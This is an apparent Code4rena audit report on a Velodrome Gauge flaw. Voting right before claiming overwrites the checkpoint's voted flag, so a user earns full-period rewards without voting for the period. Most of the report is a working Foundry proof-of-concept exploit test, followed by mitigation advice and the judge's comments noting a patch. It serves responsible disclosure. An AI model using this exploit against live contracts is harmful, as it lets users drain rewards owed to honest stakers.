Voting overwrites checkpoint.voted in last checkpoint, so users can just vote right before claiming rewards

[code423n4]

Lines of code

https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L195
https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L489-L490
https://github.com/code-423n4/2022-05-velodrome/blob/7fda97c570b758bbfa7dd6724a336c43d4041740/contracts/contracts/Gauge.sol#L499-L500

Vulnerability details

Impact

                if (cp0.voted) {
                    reward += cp0.balanceOf * (_rewardPerTokenStored1 - _rewardPerTokenStored0) / PRECISION;

this line in gauge.earned function looks like the intention here is to incentivize users to keep their escrow.balanceOfNft voted for this gauge.

However, it's enough to vote just before claiming rewards (even in the same transaction) and voter.reset just after receiving rewards to pass this if and get rewards for full period since last interaction with the gauge.

Proof of Concept

I'm pasting my test file:

pragma solidity 0.8.13;

import "./BaseTest.sol";

contract ExploitTest is BaseTest {
    VotingEscrow escrow;
    GaugeFactory gaugeFactory;
    BribeFactory bribeFactory;
    Voter voter;
    Gauge gauge;
    Bribe bribe;
    Pair pool;
    Minter minter;

    address alice = address(1);
    address bob = address(2);
    address charlie = address(3);

    function setUp() public {
        deployOwners();
        deployCoins();
        mintStables();

        uint256[] memory amounts = new uint256[](2);
        amounts[0] = 2 * TOKEN_1M; // use 1/2 for veNFT position
        amounts[1] = TOKEN_1M;
        mintVelo(owners, amounts);

        // give owner1 veVELO
        escrow = new VotingEscrow(address(VELO));
        VELO.approve(address(escrow), TOKEN_1M);
        escrow.create_lock(TOKEN_1M, 4 * 365 * 86400);

        deployPairFactoryAndRouter();
        deployPairWithOwner(address(owner));
        deployPairWithOwner(address(owner2));
        gaugeFactory = new GaugeFactory(address(factory));
        bribeFactory = new BribeFactory();
        voter = new Voter(
            address(escrow),
            address(factory),
            address(gaugeFactory),
            address(bribeFactory)
        );
        address[] memory tokens = new address[](4);
        tokens[0] = address(USDC);
        tokens[1] = address(FRAX);
        tokens[2] = address(DAI);
        tokens[3] = address(VELO);
        _deployMinter();
        voter.initialize(tokens, address(minter));
        escrow.setVoter(address(voter));
    }

    function testQuickVote() public {
        // mint tokens
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(alice, TOKEN_1M);
        VELO.mint(bob, TOKEN_1M);
        vm.stopPrank();

        DAI.mint(alice, TOKEN_1M);
        FRAX.mint(alice, TOKEN_1M);
        DAI.mint(bob, TOKEN_1M);
        FRAX.mint(bob, TOKEN_1M);

        // add liquidity
        _addLiquidity(alice);
        _addLiquidity(bob);
        // get contracts
        pool = Pair(factory.getPair(address(FRAX), address(DAI), true));
        gauge = Gauge(voter.createGauge(address(pool)));
        bribe = Bribe(gauge.bribe());

        // get veVELO nfts
        uint256 aliceTokenId = _depositToEscrow(alice);
        uint256 bobTokenId = _depositToEscrow(bob);
        vm.warp(block.timestamp + 20);
        vm.roll(block.number + 1);

        // add rewards
        _addRewardVeloToGauge(10 ether);

        // deposit to gauge
        _depositToGauge(alice, aliceTokenId);
        _depositToGauge(bob, bobTokenId);

        // honest Bob votes for full period
        // _vote(alice, aliceTokenId);
        _vote(bob, bobTokenId);

        // move to the rewards phase
        vm.warp(block.timestamp + 6 days);
        vm.roll(block.number + 1);

        // for some reason I need to add this line or else it reverts...
        _addRewardVeloToGauge(5 ether);

        // Alice votes just before claiming rewards
        _vote(alice, aliceTokenId);

        _claimRewards(alice);
        _claimRewards(bob);

        console.log("alice rewards received", VELO.balanceOf(alice));
        console.log("bob rewards received", VELO.balanceOf(bob));
    }

    function _deployMinter() public {
        RewardsDistributor rewardsDistributor = new RewardsDistributor(
            address(escrow)
        );
        minter = new Minter(
            address(voter),
            address(escrow),
            address(rewardsDistributor)
        );
        VELO.setMinter(address(minter));
        address[] memory claimants = new address[](0);
        uint256[] memory amounts = new uint256[](0);
        minter.initialize(claimants, amounts, 0);
    }

    function _addLiquidity(address user) public {
        vm.startPrank(user);
        DAI.approve(address(router), TOKEN_1M);
        FRAX.approve(address(router), TOKEN_1M);
        router.addLiquidity(
            address(FRAX),
            address(DAI),
            true,
            TOKEN_1M,
            TOKEN_1M,
            0,
            0,
            address(user),
            block.timestamp
        );
        vm.stopPrank();
    }

    function _depositToEscrow(address user) public returns (uint256) {
        vm.startPrank(user);
        VELO.approve(address(escrow), TOKEN_1M);
        uint256 tokenId = escrow.create_lock(TOKEN_1M, 4 * 365 * 86400);
        vm.stopPrank();
        return tokenId;
    }

    function _vote(address user, uint256 tokenId) public {
        vm.startPrank(user);
        address[] memory pools = new address[](1);
        uint256[] memory weights = new uint256[](1);
        pools[0] = address(pool);
        weights[0] = 1;

        voter.vote(tokenId, pools, weights);
        vm.stopPrank();
    }

    function _depositToGauge(address user, uint256 tokenId) public {
        vm.startPrank(user);
        pool.approve(address(gauge), pool.balanceOf(user));
        gauge.deposit(pool.balanceOf(user), tokenId);
        vm.stopPrank();
    }

    function _addRewardVeloToGauge(uint256 amount) public {
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(_minter, amount);
        VELO.approve(address(gauge), amount);
        gauge.notifyRewardAmount(address(VELO), amount);
        vm.stopPrank();
    }

    function _addRewardVeloToVoter(uint256 amount) public {
        address _minter = VELO.minter();
        vm.startPrank(_minter);
        VELO.mint(_minter, amount);
        VELO.approve(address(voter), amount);
        voter.notifyRewardAmount(amount);
        vm.stopPrank();
    }

    function _claimRewards(address user) public {
        vm.startPrank(user);

        address[] memory _tokens = new address[](1);
        _tokens[0] = address(VELO);
        gauge.getReward(user, _tokens);

        vm.stopPrank();
    }

    function _logCheckpoint(address user, uint256 checkpointIdx) public {
        (uint256 timestamp, uint256 balanceOf, bool voted) = gauge.checkpoints(
            user,
            checkpointIdx
        );
        console.log("printing checkpoint", checkpointIdx, "for user", user);
        console.log("timestamp", timestamp);
        console.log("balanceOf", balanceOf);
        console.log("voted", voted);
    }
}

Note, that Bob kept his votes for this gauge for full 6-day period but Alice just voted before claiming rewards. In logs, we can see that they both received the same (non-zero) amount of VELO tokens.

Alice can reset her votes in the same transaction after claiming rewards, if she decides to do so.

Tools Used

Foundry

Recommended Mitigation Steps

A partial solution would be to create a new checkpoint each time user's voted status changes (setVoteStatus is called) instead of overwriting the voted in last one.

However, even then, users can just assign very small weight to this gauge, and lock very little VELO, so I don't think this if statement helps with anything. I think, it's better to rethink how to incentivize users to vote for specific gauges.

[pooltypes]

Patched in mainnet deployment

[GalloDaSballo]

The warden has found a way to sidestep the loss of rewards that automatically happens due to the faulty checkpoint system that always sets voted to false.

In doing so they also showed how the system can fall apart and provided a POC to replicate.

Because I've rated issues related to the voted checkpoints and loss of rewards with High Severity, at this time I believe this finding should also be bumped as it shows how the system is broken and the way to avoid a loss of rewards

[GalloDaSballo]

The sponsor seems to have remedied by deleting the voted logic